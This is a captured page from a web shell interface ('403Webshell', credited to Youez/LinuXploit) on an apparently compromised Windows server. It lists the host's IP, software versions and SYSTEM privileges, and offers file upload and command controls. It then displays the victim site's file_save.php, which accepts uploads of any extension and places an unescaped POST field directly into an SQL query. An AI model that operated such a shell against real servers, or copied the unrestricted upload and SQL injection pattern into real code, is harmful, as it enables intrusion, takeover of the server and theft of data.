403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/group/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/group/file_save.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<?php 
include("db.php");  
$id = $mysqli->escape_string($_GET['id']);
$detail= $_POST['detail'];

if ($detail=="") {
	echo "<meta http-equiv=refresh content=0;URL=edit_news.php?id=$id>";
} else {
$date_news = date("Ymd-H-i-s");
	ini_set('memory_limit','200M');
	set_time_limit(160);
	for($i=0;$i<count($_FILES["filUpload"]["name"]);$i++)
	{
	   $s=$i+1;
	 	//$strFileName = date("YmdHis")."_".$_FILES["filUpload"]["name"][$i];
		$file_tmp=$_FILES["filUpload"]["tmp_name"][$i];	
		$file_name=$_FILES["filUpload"]["name"][$i];
			$array_last = explode(".",$file_name);
			$c=count($array_last) - 1;
			$lastname=strtolower($array_last[$c]);
		    $filenew =date("Ydm-His"). "_$id." .$lastname;
 
		if($_FILES["filUpload"]["name"][$i] != "")
		{
		if(move_uploaded_file($file_tmp,"myfile/".$filenew))
		{

$mysqli->query("INSERT INTO file(id_news, detail, file_name) VALUES ('$id','$detail', '".$filenew."' )") or die (mysqli_error());
				
			} 
			
		} 
		
	}
	echo "<meta http-equiv=refresh content=0;URL=edit_news.php?id=$id>";

}


?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit